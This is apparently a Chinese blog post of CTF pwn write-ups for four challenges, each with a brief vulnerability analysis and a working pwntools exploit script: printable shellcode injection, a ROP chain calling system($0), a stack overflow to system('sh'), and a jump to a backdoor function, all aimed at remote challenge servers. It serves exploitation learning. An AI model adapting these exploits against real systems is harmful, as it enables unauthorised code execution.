8.19_WP

login

[CISCN 2022]login-normal

过程

首先看看保护

image-20230819142230080

保护全开。。。

进入IDA中

题目的关键在于能否看懂sub_FFD函数做了什么

下面的这一段功能是告诉我们命令的匹配方法

image-20230819183644871

image-20230819183754813

opt:v7\n+msg:dest\n
只有匹配到这种格式的才是合法的命令,不然就会报错退出。
需要注意的是,由于从nptr复制到dest的时候传输的字节数是nptr的长度减1,因此需要多传一个无用的字节才能使得正确的msg成为dest。

漏洞点:

image-20230819184856943

当v7为2时就会调用这个函数,它会检测两个全局变量的值是否为1,如果都为1就会将dest的内容作为shellcode执行。因此我们需要传入一个可视字符的shellcode。
而要改变这两个全局变量,就要先执行v7为1时对应的一个函数,要求dest指向的内容为ro0t即可改变这两个变量。

image-20230819185004441

难度主要在代码审计上

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *

#io=process("./login")
io=remote('182.92.176.248',1111)
elf=ELF('./login')

shellcode='Rh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t'
payload1='opt:1\nmsg:ro0ta\n' #a来占位,1对应case1的情况
payload2='opt:2\n'+'msg:'+shellcode+'\r\n' #\r占位,2对应case2

io.sendlineafter('>>> ',payload1)
io.sendlineafter('>>> ',payload2)

io.interactive()

where_is_shell

过程

首先看看保护

image-20230819142045580

进入IDA中

文件本身很简单

代码段是有r权限的,但是却并没有找到/bin/sh字符串,同时题目给出了一个tips,那么就需要到tips里面找字符串

**system的参数不一定必须是“/bin/sh”,system($0) **

‘$0’ 代表当前运行的命令名,一般用于脚本中。

$0在机器码中为 \x24\x30

image-20230819183044670

0x400541处找到了\x24\x30$0,直接system($0)就能拿到shell(可以用D快捷键来查看)

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *

#io = process('./shell')
io = remote('182.92.176.248',2222)
elf = ELF('./shell')

ret_addr = 0x400416
pop_rdi_ret = 0x4005e3
tips = 0x400541
system_addr = elf.symbols['system']

payload = b'a'*0x10+b'a'*8+p64(ret_addr)+p64(pop_rdi_ret)+p64(tips)+p64(system_addr)

io.sendlineafter('find it?\n',payload)
io.interactive()

qiandaoa

过程

首先看看保护

image-20230819142202559

进入IDA中

image-20230819180347777

乍一看很复杂

发现s1是48字节,但是scanf读入100,存在溢出点

进入getflag函数

image-20230819180502552

他说flag就是log

image-20230819180615988

那么case 1,添加一个log,然后case 4去get flag

程序有system函数,但是没有/bin/sh字符串

system的参数不一定必须是“/bin/sh”,单独的“sh”有时也可以拿到shell(涨知识了)

接下来就是用ROPgadget构造ROP链

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import*

io=remote("182.92.176.248",8888)
#io=process('./qiandaoa')
elf=ELF('./qiandaoa')

system_addr=elf.sym['system']
shell_addr=0x80482ea

io.recvuntil('Please input admin password:')
io.sendline('administrator')

io.recvuntil('0.Exit\n:')
io.sendline('1')

payload=b'a'*(0x48+4)+p32(system_addr)+b'a'*4+p32(shell_addr)

io.recvuntil('Please input new log info:')
io.sendline(payload)

io.recvuntil('0.Exit\n:')
io.sendline('4')

io.interactive()

eaz_text

过程

首先看看保护

image-20230819163712747

进入IDA中

image-20230819164534755

发现后门函数

image-20230819164617778

image-20230819165019303

可以直接打过去

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *

#io=process('./ez_text')
io=remote('101.37.118.53',8686)

binsh_addr=0x08048763
system_addr=0x0804831A
target=0x804863a

payload=b'A'*0x6c + b'A'*4 + p32(target)

io.sendafter('anything?',payload)
io.interactive()

8.19_WP
http://example.com/2023/08/19/WP/内部赛/8.19_WP/
作者
Jwj-Learning
发布于
2023年8月19日
许可协议